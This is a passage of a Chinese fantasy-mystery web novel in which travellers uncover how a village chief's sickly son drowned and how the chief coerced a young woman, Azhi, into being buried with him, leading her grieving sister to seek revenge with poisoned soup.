算来算去,徐宸的死亡时间也不过十五日左右,这尸体却像是腐烂了一个月,春季多雨,这棺材还一直放在阴凉之处,怎么着都不可能腐烂成这样。
岁忆谙能想到的事情,白英空也想到了,他带着疑问走到村长面前,他问:“村长,徐宸到底是什么时候死的?”
村长埋头痛哭:“大概……半月前。”
白英空反问道:“那徐宸的尸体为何腐烂地如此严重?”
“村长,你没有说实话。”白英空肯定道。
岁忆谙道:“村长,我能到这地下地洞是因为有人指引我来的,而这个人长得和棺材里的徐宸一模一样,想来,徐宸也想让我们得知真相。”
白英空再问:“村长,你为何要隐瞒徐宸的死?”
村长哭得泣不成声,早在听见岁忆谙见到徐宸后,他就有些崩溃。
“为何他不来见我?”
村长只说这么一句话。
众人沉默,唯独靳江浛开口:“可能他觉得你不配当他爹吧。”
31. 她不想管
岁忆谙用手肘顶了他一下,眼神威胁他不要说话。
靳江浛撇撇嘴,止住了口。
李蕨看着哭泣的村长有些于心不忍。
在徐宸死后,村长从未见到过他,现如今,他都能出现在几个外乡人面前,真不知自己做的是对是错。
村长叹了口气,缓缓开口。
“我儿的的确确是在一个月前死的,他死后,我觉得他一个人在地底下太过孤单,就想着给他配阴婚。”
“但是村里的人肯定不愿意把自己的女儿嫁给一个…………一个死人。”
“我还是他们的村长,更不能逼迫自己的村民做这种事,我突然想起,徐宸与村西的阿纸两情相悦,便将主意打在了阿纸身上。”
“阿纸无父无母,从小就与阿鸢从小相依为命,我找上了她,我问她是否愿意为徐宸殉葬。”
听到这话的李蕨猛地抬头看向了村长,眼中闪过一丝错愕,随即垂着脑袋一言不发。
“起初阿纸是不愿的,但我向她承诺,我会照料好阿鸢,会认阿鸢为义女,并寻一门好亲事,她同意后,又提出让我给她半月的时间,让她与阿鸢好好道别。”
“阿纸半月后进门,我便瞒了徐宸死讯半月。”
岁忆谙听后一脸不屑,她道:“搞半天,你没收阿鸢做义女,还想让她去死呀。”
此话一出,村长并不生气,也没有辩驳。
白英空问:“阿纸的尸体不见了,你们没去找过吗?”
“找过,起初我还怀疑是她的妹妹阿鸢盗的,但阿鸢得知阿纸死讯后,整日坐在家门前喊着她阿姐,那副样子实在是可怜。”
柳微晴一脸懵懂地问:“阿纸为情殉葬,可她的尸体却消失了,尸体会去哪儿呢?”
华屿山猜:“阿纸会不会反悔了,从棺材里逃出来了?”
村长肯定道:“不可能,阿纸是死后入棺的。”
岁忆谙听后,心中升起一股汹涌的怒火。
“村长,我真是不知晓你哪儿来的脸说出这话的,你自己过来看看。”
岁忆谙走到那副棺材前,指着棺材板的背面。
“这是阿纸当时躺的棺材吧,你看看上面的抓痕。”
“你看着抓痕把你刚刚的话再说一遍!”
其余人都懂了岁忆谙的话,这道道血痕是在棺材里的活人抓出来的。
她是被活活闷死的。
村长反驳:“阿纸入棺前喝了毒酒,她不可能还活着!”
“你…………”
岁忆谙还想再说些什么时,头顶上传来哒哒哒的声音。
“村长!”
几个村民趴在坑洞边向下喊着。
“村长,您家怎么塌了?”
村长大吼:“我没事,这里危险,你带着乡亲们离远些!”
“好,那我待会儿拿绳子拉你们上来!”
气氛僵硬,白英空打破宁静。
“村长,我带你上去吧。”
村长拒绝:“不用,既然知晓事情的经过,你们就赶紧离开。”
白英空还是将村长和李蕨带了上去,其余四人也飞离地洞。
五人被村长赶了出来,他们走在回客栈的路上。
“村长肯定还有话没告诉我们。”
“下咒之人到底是谁呢?”
白英空还在苦思冥想。
而岁忆谙若有所思,凶手除了阿鸢,她实在想不到还有谁会报仇,而且下一个死的人很有可能是村长。
她不想管。
村长屋子塌陷的事情一下子就传遍了全村,村长被临时安置在了另一座空无一人的茅草屋。
天色渐暗,弯弯的月亮升起,蝉鸣鸟叫声渐渐变大,五人打道回府。
到了客栈,黎绕月与裴汔坐在桌前,而桌上摆了满满的菜肴。
“你们回来了,都饿了吧,菜刚上,都来吃些。”黎绕月轻声说着。
听到黎绕月柔情温婉的嗓音,岁忆谙觉得自己脑子都清醒了几分,她走到桌前坐下。
“那我就不客气了!”
其余几人落座,裴汔对白英空说:“白兄,我们在村东头找到了徐宸的棺材,可棺内并没有尸体。”
华屿山惊讶地问:“你们开棺了?”
裴汔心虚地移开了眼,黎绕月倒是毫不在意地说:“对呀。”
见她应下,岁忆谙一脸佩服地看向他们,心中给两人竖了个大拇指。
白英空心烦意乱,也顾不上两人开棺的事情,他一直在思索着下咒之人。
餐桌上,有人吃得津津有味,有人吃得索然无味。
就在这时,阿鸢端着一个食盒走进,她已经换了身衣衫,一身麻布丧服。
最先注意到的是黎绕月,她开口问:“阿鸢?你怎么来了?是要去祭奠谁吗?”
阿鸢走到几人面前径直跪下。
“诸位恩人的救命之恩,阿鸢没齿难忘。”
离她最近的华屿山连忙将在她扶起,说:“你别动不动就下跪。”
“这是我在家为诸位恩人做的菌菇汤,是我刚刚摘了山上的蘑菇做的,希望恩人们不要嫌弃。”
阿鸢说着便将食盒里的汤拿出。
“天色已晚,我就不打扰各位恩人了。”
来也匆匆,去也匆匆。
众人将视线转向桌上的热汤,面面相觑,谁都没有动作。
柳微晴不懂他们为何不动,她问:“能喝吗?”
岁忆谙望着这汤出神,阿鸢这汤送得很巧,她在脑海中唤道:【三零!】
零零零:【在!】
岁忆谙问:【这汤有毒吗?】
【零零零不知道,宿主得亲自喝一口,零零零才检测汤有毒无毒。】
【?】岁忆谙哽住。
【我有更好的办法,你想听吗?】岁忆谙边说边抚摸上手腕处的黑王蛇,指尖抵上鳞片,零零零浑身一震。
零零零沉默了一会儿,它总觉得这个办法会要了自己的命。
【叮!检测完毕,无毒…………】
“喝!”
岁忆谙大喝一声,给自己盛了一碗,靳江浛都没来得及阻止,她就喝了一口。
热汤鲜香,入口微甜。
岁忆谙仰着头,圆圆的碗沿挡住了她的视线,她没有看到其余几人意味深长的目光。
当然除了白英空和柳微晴,两人都等着岁忆谙说这汤味道如何。
在众人的注视下,岁忆谙放下碗,细细回味,开口道:“还不错。”
“你们看我做什么?”
黎绕月摇摇头:“没什么。”
几人也盛了一碗饮下。
厢房内,繁茂的松柏枝叶在窗棂外晃动,桌上未点烛火。
岁忆谙睡得很熟,这时,门开了一条缝。
靳江浛走进厢房
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,他坐在岁忆谙榻边,静静地凝视着她的睡颜,是白日里从未表现出现的乖巧,他忍不住伸手抚摸。
一点一点,从眉目到鼻梁,再到嘴唇,唇瓣湿润晶莹,好像涂了唇彩。
靳江浛的目光十分赤裸,似乎要将岁忆谙一层层剖开,他丝毫不担心床榻上的女子会醒过来。
阿鸢送来的汤还真有用,倒是做了件好事。
隔壁厢房————
黎绕月坐在桌前梳妆,裴汔坐在一旁的床榻上,一脸幽怨地看着她的背影。
黎绕月感受到了身后的视线,她与镜中的裴汔对视。
裴汔接收到了她的目光,下床走向她,弯下身子,伸出双臂将人抱在怀中,下巴搭在她的肩上。
后背紧贴着裴汔的胸膛,接着黎绕月就听见了他委屈的声音。
“绕月…………”
黎绕月反手怜爱地摸了摸裴汔的脸颊,轻声问:“怎么了?”
“没什么,你今天穿的衣裙很美。”
黎绕月笑道:“那我人不美吗?”
“美,可不是专门穿给我看的。”
裴汔肉眼可见的伤心,他又道:“不过还好是穿给岁姑娘看的。”
穿那身衣裙也只是为了让黎绕月显得更柔弱无害而已,这样才会有人站在她这一边不是吗?
另一间厢房————
柳微晴正要就寝时,敲门声响起,她打开门,问:“你有事吗?”
华屿山拿着他的医箱站在门口,说:“当然,我是来帮你诊脉的。”
“我不需要。”
柳微晴想也没想就回绝掉。
“别急着拒绝,你是不是时常不知晓自己该做什么,也不知晓自己是谁?”
华屿山的一番话让柳微晴怔在原地。
自从出现在这间客栈里,柳微晴就觉得自己好像不存在于这个世间,她连自己叫什么都不知。
半晌后,她问:“你知晓这是何原因?”
华屿山点点头。
柳微晴想了想,侧身让他进来,华屿山自顾自地坐在桌前,将他的医箱摆在桌上。
柳微晴也跟着坐下,她呆呆地问:“你现在可以说了吗?”
“你没有心。”
华屿山指了指自己的心脏处。
柳微晴以为华屿山让自己去摸,她也这么做了。
冰冷的掌心贴上了华屿山的心口,他愣住。
柳微晴闭上眼,她好似“看”到了一个红色的东西在跳动,富有生机。
她抬眸,目光从心口的衣襟移上去。
两人措不及防地对视上,单纯的黑眸令华屿山感到愧疚。
柳微晴说:“很快,心跳很快。”
华屿山听后瞬间红了脸,他将柳微晴的手拿开。
柳微晴又将抚上自己的心口,很安静,她问:“心?那是何物?”
“就是…………难说。”华屿山也不知该如何跟她讲述,反正自己来这里的目的又不是为了教导她的。
“这样吧,给我一点你的血。”
“血?”
柳微晴眼中露出了难得一见疑惑,而华屿山已经药箱里拿出了一把匕首,和一个琉璃瓶子。
窗外的月光照在匕首和琉璃瓶上,匕刃冒着寒光,琉璃瓶散发着五彩斑斓的光,极具诱惑性。
柳微晴正欲拿过时,一道黑气突然出现,朝华屿山手腕袭去。
32. 无法言喻的恨
华屿山大惊,他迅速收回手。
下一刻,靳江浛的身影出现在两人面前。
“蠢货,别人说什么你就做什么?”
被骂了的柳微晴一头雾水,她不是很懂靳江浛的意思。
见柳微晴一脸无辜,靳江浛无奈道:“去守着岁忆谙。”
这句话她听懂了,柳微晴应声离开。
房中只剩两人,靳江浛警惕地问:“你来这里做什么?”
华屿山将匕首和琉璃瓶收回药箱,调笑道:“她是你什么人?”
“与你有何干系?”
“那我就跟岁忆谙说……你和她不清不白!”华屿山挑衅般看着靳江浛。
靳江浛冷眼看去,口中缓缓吐出三个字。
“你想死?”
话落,靳江浛身上散发出阵阵黑气,黑气凝聚成一股绳,黑绳缠上华屿山的脖颈,将他吊了起来。
华屿山身子腾空,双脚在空中晃动,他急忙求饶:“错了错了,我不说了,你快放我下来。”
靳江浛无动于衷。
即将窒息时,华屿山又道:“岁忆谙病得很重。”
听到岁忆谙的名字,黑绳猛地一松,靳江浛问:“你什么意思?”
华屿山说:“字面意思,我能救她。”
靳江浛思索良久,将他放了下来。
华屿山稳稳着地,对靳江浛的举动,他并不恼怒,而是悠闲地理了理衣摆,道:“原来你真的是魔。”
靳江浛眼底闪过一抹诧异。
“别惊讶,你虽然对自己下了混淆咒,但刚才你使出法力时,没有收敛自己的魔气,上次也是。”
上次指的是白日里,他与黎绕月在客栈的互殴。
靳江浛一听,心想着大意了,他自己都没注意到魔气外泄,还好他之前就在白英空身上也加了一道混淆咒。
“看来岁忆谙对你很重要,医毒谷的结界也是说闯就闯。”华屿山一想到靳江浛闯入医毒谷的惨样儿,他就万分佩服。
“废话真多,谙到底怎么了?”
“心衰力竭,原因不明,但我有法子救她。”
华屿山又说了自己要翻看医术,要练习针灸,这才让靳江浛放过了他。
华屿山一回到自己的厢房内,他就靠在门板上大喘气。
“吓死我了,差点就死了,还好用岁忆谙唬过去了。”
灰云遮住了天上月,昏暗无比,无一丝光亮。
有人成双,有人孤身。
阿鸢拎着食盒走在僻静的乡道,一身白色孝服从远处看着格外渗人。
阿鸢敲开了村长临时住的茅草屋。
村长见到一身白衣的阿鸢后,心中感叹到,阿鸢长得真像她阿姐。
阿鸢进屋后,就将门窗关得严严实实。
村长是村里最节俭的人,衣服总是缝了又破,破了又缝,拐杖是山上随便一根枯树枝做的,就连晚上用来照亮的烛火也只点了一支。
不知因何缘故,平日里省吃俭用的村长,见阿鸢来后,竟然多点了一支蜡烛。
阿鸢将汤拿出放在桌上,说:“村长,这是我做的汤,带来给您尝尝。”
这几日发生了太多事,村长肉眼可见地苍老了许多,他看着色香味俱全的菌菇汤,开口说:“难为你还能来为我送汤。”
阿鸢脸上笑得灿烂,但眼神格外冰冷,她道:“村长这是哪儿的话,您是安宁村的村长,我总不能一辈子不见您吧。”
村长叹气。
“我生在安宁村,长在安宁村,我陪着村民们熬过吃不上饭的日子,陪着他们经历过大丰收的日子,村子里的一花一树,一草一木对我来说都有着重大的意义。”
“村里家家户户都穷,好不容易立了个私塾,好不容易有了几个书生…………”
“我盼望着书生们能够为他们自己挣一个好前途,盼望着他们能过上不愁吃,不愁穿的好日子,可惜………全没了。”
村长自顾自说着,最后他看向阿鸢,问:“阿鸢,你恨我吗?”
阿鸢闭了闭眼,沉默不语。
她当然恨!
无法言喻的恨!
就算他是为了村子那又怎样?为了村子就可以饶过杀人的罪犯吗?为了村子就可以让阿姐殉葬吗?
杀人偿命,天经地义。
村长见阿鸢如此冥顽不灵,也不愿多说,因为他知道就算说再多的话,阿鸢也听不进去,何必与她浪费口舌,他也没有想到,安宁村会落得如今这幅局面。
安宁村不再安宁了。
他妻子早就离世了,唯一的儿子也死了,一个人留在世上未免也太孤苦伶仃了。
或许,死亡才是消除一切的唯一办法。
他端起碗,一饮而尽。
阿鸢走了,村长背靠在椅子上,静静地注视着桌上的蜡烛,随着时间流逝,蜡烛逐渐缩短,蜡油流了满桌。
村长好似在摇曳的烛火中看到………看到了他早已逝世的妻子,妻子在埋怨他为何放过害死徐宸的罪人。
他说,他是为了村子。
烛火一晃,村长又看到了浑身湿透的徐宸,他忍不住问徐宸怨不怨自己,徐宸没说话,只是眉眼含笑地看着他。
烛芯燃尽,屋中最后的一点火光悄然消失。
次日,村里流出了阿纸是被村长逼迫而死的传言,家家户户都在讨论此事,村民看向阿鸢的眼神都很奇怪。
阿鸢想要的就是这个效果,她随便抓了一个村民问这是怎么回事儿,等村民说完后,她便嚷嚷着不信,说要去找村长问问。
声量大得附近村民都听见了,阿鸢跑到村长屋子前,她开始敲门,巨大的敲门声又吸引了一些村民的注意。
客栈内,在吃早膳的岁忆谙听店小二说后,随便喝了几口粥就跑离客栈。
其余几人见状也跟了上去。
村长屋子前聚集了很多村民,阿鸢依旧坚持不懈地拍着门,口中喊道。
“村长,阿鸢想问您几个问题,村里流传的那些事是真的吗?”
“村长,是您逼迫我阿姐殉葬的吗?”
阿鸢哭泣着,满脸泪水,凄惨的哭声传入了众人的耳朵里,又于心不忍的人都红了眼。
“村长,你能否告诉我,我阿姐是否心悦徐宸?”
这时,村民中有人开口:“阿纸心悦徐宸是人尽皆知的事情,这个…………”
“你闭嘴!”
阿鸢打断了那人的话,又道。
“我阿姐从未告诉过我她心悦徐宸,你们告诉我,你们是否亲耳听到我阿姐心悦徐宸?是否亲耳听到我阿姐说自愿殉葬?”
“村长,您告诉我,我阿姐是否自愿为徐宸殉葬?”
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“您告诉我,您是否有胁迫我阿姐为徐宸殉葬?!”
吱呀一声,门开了。
村长面目狰狞,他吼道:“是,你阿姐是我逼死,那还不是因为你!”
此话一出,在场的村民们大惊失色,人群中的白英空一见到村长就面色凝重。
“是我害死了徐宸吗?是我让徐宸配阴婚的吗?是我让我阿姐去死的吗?”
“不是我…………是你!”
阿鸢朝村长说完,又转身对村民说。
“阿纸并没有做错什么不是吗?可村长为何要置阿纸于死地,为了他的儿子就要害死一条无辜之人的性命,这与那些杀人犯有何区别?”
“您才是害死了徐宸的人。”
阿鸢语气亢奋,波动着村民们的情绪,村民们都要村长给一个说法。
轰隆隆————
天空雷声作响,瞬息之间,蓝天被乌云笼罩,雨滴随之落下。
这场雨来得太过突然,阿鸢认为老天爷看不下去。
“今日这雨能够洗去你那伪善的面孔,能够让我阿姐沉冤得雪,可不能还我阿姐…………”
阿纸被迫殉葬,死后还要被村民埋怨。
她有何错?
就在这时,村长突然捂着脑袋大喊大叫,白英空意识到了不对,他冲上前,想让村长恢复正常。
“华兄!”
就在众人将注意力放在村长身上时,阿鸢偷偷溜出了人群,离开前还特意看了岁忆谙一眼。
岁忆谙想也没想就朝她追去,靳江浛注意到了。
“谙,你去哪儿?”
黎绕月眼底满是好奇,她看向身边的裴汔,两人有所感应般互相对视,不约而同地跟上。
村西———
空旷的后山,雨还没蔓延到这里。
岁忆谙提着裙摆狂奔,她踏着遍地荒草,四处张望,她害怕阿鸢想不开自戕。
隐隐约约的哭声回荡在四周,穿过稀疏的树林,身着素衣的女子跪坐在一个土坑前痛哭。
脚步声由远及近,正在刻碑的阿鸢停下手里的动作,侧头看去。
是岁忆谙,她身后还跟着几人。
岁忆谙走近一瞧,她终于知道媒婆的嘴和眼睛为什么都被缝起来了。
坑里有一穿着红色嫁衣的女子,她静静地躺在那里。
岁忆谙见过她,是那日放纸鸢的女鬼。
女子嘴边一圈都是早已结痂的伤疤。
阿鸢已经停止哭泣,手上动作不停,也没抬眼,她问道:“他一直喊你安,哪个安?”
阿鸢口中的他,应该是靳江浛。
岁忆谙开口:“我叫岁忆谙,记忆的忆,熟谙的谙。”
阿鸢点点头,在见到岁忆谙的第一眼时,阿鸢就觉得她与众不同,她的目光总是直击人心,能看透一切。
阿鸢也不清楚这是什么感受。
墓碑只是一块木板,阿鸢吹掉墓碑上的木屑,眼里满是悲恸,她对岁忆谙道:“我能求你一件事吗?”
岁忆谙还没问什么事,阿鸢又说:“我想与我阿姐合葬。”
“什么意思?”
岁忆谙错愕,她心中有一种不好的预感,还想说些什么来打消阿鸢的念头时,阿鸢又道。
“先听我说。”
“一个月前…………”
33. 一月前
一月前———
安宁村私塾内,几人围着正在看书的徐宸,他面容清秀,身子单薄,时不时咳上几声。
孙荀激动地对徐宸说:“徐兄,这次小考你又是第一!”
“徐兄这么厉害,此次进京肯定能高中状元!”
王树也笑着祝贺,只不过那笑容看着有些虚假。
徐宸将书放进书笈里,温和道:“王兄说笑了,我还要回去温习,就先走了。”
徐宸拎着书笈一走,私塾内的几人瞬间变了脸色。
王树脸上的笑容消失不见,转变为阴险。
“呸,不就得了个第一吗?装什么清高,病秧子一个!”
孙荀拍了拍他的肩,“好了,毕竟人家也是有实力,更是村长的儿子,届时中了状元,兴许还会被公主看上,捞个驸马爷当当。”
徐宸一直独来独往,从不与人过多交往。
偏偏他每次小考都是第一,这就导致私塾里的其他五人看不惯他,可他毕竟是村长的儿子,表面上还是要装一装。
另一位书生嗤道:“哼,就他?”
王树一直在拱火,“还就他了。”
“要不我们给他点苦头尝尝?”
孙荀一听,不可置信地看着王树,他警告道:“你可别乱来呀!”
王树继续诱惑道:“孙荀你每次都是第二,再这样下去,你这万年老二的名头什么时候能摘?”
孙荀垂下头,是啊,每次夫子只会夸考了第一的徐宸,连村里人都觉得只有徐宸会中状元。
孙荀的声音回荡在耳侧,其他书生似乎被王树说动了,也跟着他在蛊惑孙荀。
“你也只比徐宸差一点点,只是让他在考前尝点苦头,影响考试而已,又不会怎样。”
“今年不行,不是还有明年吗?”
“再说了,倘若他考得上,那他什么时候都能考,倘若考不上,那他考再多次都没用!”
夜深,这个时候,村子里的大部分人都睡了。
为了能让徐宸更好的读书,他不住在村长家,而是自己搬出来到一间比较偏的地方住,这倒是方便了阿鸢。
叩叩叩———
徐宸披着外衣打开门,就看见了手里拎着食盒的阿鸢,她穿着一身淡粉色衣裙,扎着俏皮的麻花辫。
阿鸢一见到徐宸就开心地举起手上的食盒,她低声道:“宸大哥,这是我做的桂花糕,特意带来给你尝尝!”
两人定情已经快半年了,阿鸢一直偷偷来找他,只不过这件事只有阿纸和村长知道。
进到屋子里,阿鸢就迫不及待地把糕点拿出来,桂花香扑面而来。
徐宸拿起一块,白色的糕点上淋了金黄纯净的蜂蜜,还撒了些许桂花点缀,入口香甜软糯,口齿留香。
“好吃,阿鸢做的最好吃了。”
只是一句简单的夸赞就令阿鸢红了脸,她磕磕巴巴说:“宸大哥,你明日就……要进京了。”
徐宸看着娇羞的阿鸢,忍不住打趣道:“殿试虽在一个月后,但我得提前去京城准备,要很久才能回来,在这期间,阿鸢会想我吗?”
阿鸢还没听过这么直白的话,她瞪大了眼睛。
“你……你说什么?”
徐宸看着呆愣住的阿鸢,只觉得她可爱极了,他伸手抚上阿鸢的脑袋,一字一句,认认真真道:“我说,阿鸢会想我吗?”
阿鸢听后,只觉得脸颊发烫,耳边嗡嗡的,她僵硬地点点头。
“会……会的。”
对上他那包含温情的眼神,她突然坚定地说。
“会!”
徐宸笑了,笑得如沐春风,阿鸢羞得不敢看他,再次磕巴道:“那我………我就不打扰你温习了,我先回去了。”
说罢,还没等徐宸反应过来,阿鸢像兔子一样蹿出了屋子。
就在阿鸢离开后没多久,又有人敲响了徐宸的家门。
王树在门外喊道:“徐兄,出来一下,我有话跟你说。”
“什么话?”
见徐宸开门,王树瞬间换上笑脸。
“孙荀约你去安宁河边,应该是有问题要问你。”
徐宸疑惑道:“既然如此,为何不在来此处问,非要去安宁河边?”
王树掩盖住眼底的不耐烦,他说:“我怎么知道,你快去吧。”
“好。”
两人借着月光朝安宁河走去。
另一边的阿鸢走着走着就想起,自己绣的香囊还没给他,她一拍脑袋。
“真笨,忘给了。”
转身走回去时,却看见了徐宸和王树的身影,便想着悄悄跟在后面。
徐宸来到河边,可河边空无一人。
就在这时,天上的云将月亮遮住了,夜间的凉风吹得徐宸不停咳嗽,视线一暗,他只感觉背后有双手推了自己一把。
“啊!”
而跟在后面的阿鸢正巧看见了这一幕,孙荀突然冲出来将徐宸推下了河。
阿鸢被这一幕吓得呆在了原地。
一旁的树林里钻出了几个人,正是那几个书生,他们正津津有味地看着在河里挣扎的徐宸。
“救命!”
“救咕噜咕噜…………”
徐宸不识水性,他在河里拼命挣扎。
“谁?谁在哪里?!”
那几个书生见有人来了,纷纷四散而逃,守村人提着灯笼走近。
阿鸢这才反应过来,她跑向河边大喊:“宸大哥!宸大哥!”
这天夜里,村里所有的郎中都被请到了徐宸家。
郎中不多,也就四个。
床榻前,阿鸢正在低声哭着,她不敢哭太大声,怕吵着郎中们医治。
村长拄着拐杖,步履蹒跚地走进来。
“我儿如何了?”
“落水后染上了风寒,现在还在发高热,令郎自幼体弱,能不能撑过去就看他的造化了,这是他的药,每日三副,记得大火熬上一个时辰再喝。”
这是四个郎中一齐商讨出来的。
徐宸是早产儿,自幼体弱多病,从小就得喝药长大。
村长连忙道谢:“好好好,多谢各位郎中了。”
阿鸢听见了郎中们的话,她看着额头冒汗的徐宸,心中担忧不已,她正想把徐宸是被人推入水的事情告诉村长时,孙荀他们来了。
王树一脸焦急的模样,要不是阿鸢刚才看见他在河边笑的最欢,怕是信了。
“村长,听说宸大哥落了水,我们特意来看看。”
村长双眼发红,他强忍泪水,训斥道:“大晚上的怎么不去睡觉,明日你们还要进京,都
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快去回家。”
几人被村长轰走,回去的路上,孙荀有些害怕,他只是想吓一吓徐宸而已,没想到他会病得这么严重,万一徐宸死了,自己岂不是完了。
“徐宸应该没事吧?”
“肯定没事,赶紧回家睡觉吧,大半夜的都给我整困了。”说实话,王树心里也没底,不过推徐宸入河的人又不是他,他有什么好担心的。
徐宸家————
阿鸢鼓起勇气,对村长开口:“村长,我看见了,是私塾里的孙荀推宸大哥入河的!”
村长满脸震惊,他看向一旁的人,那人叫李蕨,是村长捡回来的,块头大个子高,一身蛮力。
李蕨了然,他走到门口把风。
村长道:“你确定?”
阿鸢肯定:“我看得一清二楚!”
“好了,我知道了,我会找他们的,你先回去吧。”
村长心中五味杂陈,就算阿鸢说得是真的,那他也只能秋后算账,不能耽误他们考试啊。
“…………好,那我明日再来看宸大哥。”
阿鸢边哭边回到了家,阿纸在家急得都要出去找人了,还好她回来了。
阿鸢只是个十六七岁的小姑娘,遇到了事儿也会寻求安慰,她扑进阿纸怀里,痛哭流涕。
“阿姐,宸大哥落了水昏迷不醒呜呜…………说是得看他的造化呜呜呜……………”
阿纸抹掉阿鸢脸上的泪珠,哄道:“不哭不哭,徐宸吉人自有天相,会熬过去的。”
阿鸢哭得一抽一抽,阿纸看得心疼不已,两人父母双亡,阿鸢是她在这个世界上唯一的亲人了,她不忍心看她哭。
“这样吧,我明日去看他,天色已晚,你先回房睡觉。”
“嗯…………”
次日一早,阿鸢还在睡梦中,阿纸给她盖好被子就出门。
阿纸还没去过徐宸家,她问了路,一时分不清方向,来到了他家后窗处,正想绕到前门进去时,却听见了里屋的谈话。
“令郎断气了。”郎中叹了口气,语气充满惋惜,他朝床上的徐宸鞠了一躬,便提着药箱走了。
听到这话的阿纸心头一紧,徐宸死了,那阿鸢可怎么办,她要是知道了徐宸的死讯,不得难受死。
“村长,人来了!”李蕨拉着一个人急匆匆地走进来,那人手持算命幡,身上的衣服破了几个大洞,看起来邋里邋遢的。
村长竟然还找来了相师,阿纸只觉得荒唐可笑。
李蕨和相师来时,房内只剩下村长一人,他趴在床边痛哭:“儿啊,你怎么这么惨啊,爹还没看见你金榜题名,还没看见你娶妻生子啊!”
“啊………我的儿啊!”
阿纸不知道该怎么跟阿鸢说,她没想到徐宸命这么薄。
李蕨也不知道该怎么办了,他本想将相师带走,没想到相师上前一步,神叨叨地说:“村长,其实可以为令郎配阴婚!”
正在哭泣的村长一听,抬头问:“什么意思?”
“活人殉葬。”
“这样令郎在下边也不会孤身一人。”
村长摇头说:“殉葬太残忍了,不行。”
他知道别的村都有配阴婚的事,也有活人殉葬的传统,但他们村觉得,没必要把两个生前不熟的人绑在一起,所以从未有过。
34. 我要嫁人了
相师笑了笑:“村长可假借冲喜名义,成亲后,再公开令郎死讯,然后再传那女子自愿为情殉葬。”
相师本来在镇上好好地摆着摊,马上就要成一单生意时,就被李蕨搅糊了,他可不能白来一趟。
床上那死人看起来挺年轻的,长相算得上英俊,这村里肯定会有姑娘喜欢他,而且他爹还是村长,指定有钱。
到时候还能以每年都需定魂的理由,再狠狠他敲一笔。
村长沉思良久,他不想让徐宸一个人孤苦伶仃的,但他也不想用死人来配阴婚。
这时,村长想到了阿鸢,他知道阿鸢与徐宸两情相悦,兴许让阿鸢殉葬,他还能开心些。
希望徐宸不要怪自己,没有第一时间追究那些凶手。
“我记得村西的阿鸢与我儿两情相悦,也不知晓她愿不愿意?”
此话一出,窗外的阿纸目瞪口呆,村长竟然把注意打到了阿鸢身上。
“冲喜冲喜,骗她说令郎死后,为其守孝一年,一年后,就签了和离书,各不相干。”
村长还没回话,阿纸的愤怒冲昏了头脑,她直接绕到前门,冲了进去。
“村长,您怎么做不太好吧?”
“阿纸!”村长见突然出现的阿纸,眼底闪过一丝慌张,他给李蕨使了个眼色。
李蕨悄无声息地走到门口,将门关上,正在气愤中的阿纸没注意到他的举动。
“你听我说。”
村长本想先安抚她,然后劝她同意阿鸢与徐宸结阴婚,毕竟成亲这种大事还是要告知家中长辈,而阿鸢只有一个姐姐。
阿纸大吼道:“阿鸢才十六岁,你忍心让她殉葬?!”
村长见此,原本想商量的心思彻底没了。
“阿纸,阿鸢与我儿两情相悦,他们早已私定终身,我本想着待他回来,便让他娶阿鸢为妻。”
“可如今,我儿身死,你也不忍心阿鸢伤心难过,嫁不出去吧。”
阿纸一听,顿时无言,阿鸢有多么喜欢徐宸她是知道的,她不敢想象阿鸢知道徐宸死后,她会是什么反应。
“当然,她若不嫁,你嫁。”
“镇上的刘肆主是我好友,他有个儿子,年十八,我见过,相貌堂堂,品行端正,你殉葬之后,我会为阿鸢说亲的。”
“若是我不同意呢?”
阿纸做着最后的抵抗。
“不同意?”
“那你怕是走不出这扇门了,你死后,阿鸢依旧会为情殉葬。”
村长轻飘飘地说着,阿纸没想到平日里和蔼可亲的村长竟也会用死来威胁人。
“半个月,半个月之后我嫁,阿鸢还小,我还得教她更多东西。”
阿纸浑浑噩噩地走回家,身后还跟着李蕨。
阿鸢已经睡醒了,她一起床就没看见阿姐,以为阿姐是去看徐宸了,便做好饭菜等她回来。
“阿姐,你回来了,饭菜凉了,我拿去热热。”
阿纸拦住了她,说:“阿鸢,我要嫁人了。”
阿鸢还没来得及高兴,又听她说。
“是徐宸。”
阿鸢听到这个名字后猛地僵住,她很想质问。
为什么?
自己最爱的阿姐和自己喜欢的人成亲了,为什么?
她又该怎么问呢,阿姐明明知道自己喜欢徐宸,可她为何要与宸大哥成亲?难道是因为她也喜欢宸大哥吗?
阿纸年十九,高了阿鸢半个头。
阿鸢看着从就照顾自己的姐姐,眼眶通红,任由眼泪落下,可这次,阿纸没有伸手替她擦掉。
阿鸢开口问道:“阿姐,你是喜欢………宸大哥吗?”
如果是的话,那她就算了吧,阿姐自己一个人撑起了整个家,从来都没有为她自己考虑过,好不容易有了一个喜欢的人,那她也不能阻止阿姐。
没办法,谁让她更爱阿姐呢。
阿纸不敢看她,她背过身,仰着头,忍住不让眼泪掉下来。
“喜欢……很喜欢…………”
阿鸢点点头,她擦掉眼泪,装作毫不在意地说:“好,我……我先去把饭菜热了。”
“我与徐宸半个月后大婚。”
阿纸扔下这一句话就回房了,她实在是无法做到若无其事的与阿鸢一同吃饭。
在阿鸢看不见的地方,阿纸掩面哭泣,她不敢大哭,因为阿鸢会担心的。
阿鸢的眼泪落进碗里,可她不管不顾,依旧呆滞地吃着碗里的饭,直至视线迷糊。
饭菜已经没有热的必要了,就算饭菜再冰冷,再难以下咽,她也得吃下去。
李蕨看着两人,叹了口气。
徐宸要冲喜的消息传遍整个安宁村,村民们议论纷纷。
“听说徐宸的病很严重啊。”
“对呀,没想到重得都到娶妻冲喜的地步了,还得在夜里娶亲。”
“也不知道新娘子是谁?”
“是村西的阿纸!”
“她啊,长得还不错,年纪也合适。”
“只可惜徐宸今日本该进京的。”
一部分人在惋惜徐宸,一部分人在看热闹。
一眨眼,半个月就到了,在这半个月内,阿鸢本想带着阿纸偷偷离开安宁村,可是村长一直派人看着她们,跑不了。
阿鸢整整半个月都没出过房门,阿纸在门前说了好多话,可阿鸢一句都没回。
夜里,阿纸穿上嫁衣,抹上嫣红色的胭脂,美艳又诡异,她来到阿鸢门前,依旧絮叨。
阿鸢在房中听着,阿纸的声音从外面传来,她总觉得阿姐这次的话与以往不同。
“阿鸢,你出来………见见阿姐好吗?”
“阿鸢,以后你要好好照顾自己,待我出嫁之后,村长会为你说亲,你若想嫁便嫁,若不想嫁就向村长提一个要求,然后离开村子,再也不要回来…………听见了吗?”
阿鸢没有应她。
阿纸转身离去,坐上花轿,盖头之下,泪流满面。
喧天的锣鼓唢呐在祝贺她出嫁,也在为她送行。
是喜亦是悲。
